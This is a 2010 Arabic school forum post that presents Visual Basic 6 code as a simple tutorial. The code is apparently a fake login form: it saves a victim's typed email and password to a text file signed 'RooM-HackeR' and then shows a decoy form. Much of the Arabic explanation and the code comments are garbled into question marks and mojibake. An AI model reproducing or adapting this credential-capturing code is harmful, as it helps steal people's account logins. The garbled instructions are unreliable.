مدرسة دمياط الجديدة للتعليم الاساسى
مرحبا بك في منيديات مدرسة مبارك الاعدادية
منندي تعليمي يخدم الطالب - المعلم - ولي الامر
سجلاتنا تفيد بانك غير مسجل لدينا فقم بالتسجيل وافيد وااستفيد



 
الرئيسيةاليوميةمكتبة الصورس .و .جبحـثقائمة الاعضاءالمجموعاتالتسجيلدخول

شاطر | 
 

 كيف عمل برنامج في الفيجوال يخرج لك كل ما تكتب في

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
MOHAMED
نائب المدير العام
نائب المدير العام


ذكر
العمر : 19
نقاط : 4171
عدد المساهمات : 2668

مُساهمةموضوع: كيف عمل برنامج في الفيجوال يخرج لك كل ما تكتب في   السبت مايو 29, 2010 11:53 am

???
?? ???????? ???? command1
? ???? ????? ??? ?????? ??????? ? ???? ???? ??????


Dim File As String '????? ?????????
If Text2.Text = "" Or Text1.Text = "" Then '?????? ?? ?? ?????? ??????
MsgBox "äÑÌæ ãáìÁ ÇáÍÞæá" '????? ????? ??? ????? ???? ?????? ?????????
Else
File = ("C:\RooM-HackeR.txt") '??? ???????
FNum = FreeFile
Open File For Output As #1
Print #FNum, "EMAIL:" & Text1.Text & vbNewLine + vbNewLine & "PASSWORD:"; Text2.Text + vbNewLine + vbNewLine & "BY
RooM-HaCkeR@hotmail.com"
Close #FNum
v99x.Show
End If
End Sub

? ??? ?? ???? ?? ?? ?? text1 , text2
??? ???? ???? ?? ??? c
RooM-HackeR???? ??????
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
كيف عمل برنامج في الفيجوال يخرج لك كل ما تكتب في
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
مدرسة دمياط الجديدة للتعليم الاساسى :: منتدى المواد الدراسية :: منتدى الحاسب الآلى والبرامج-
انتقل الى: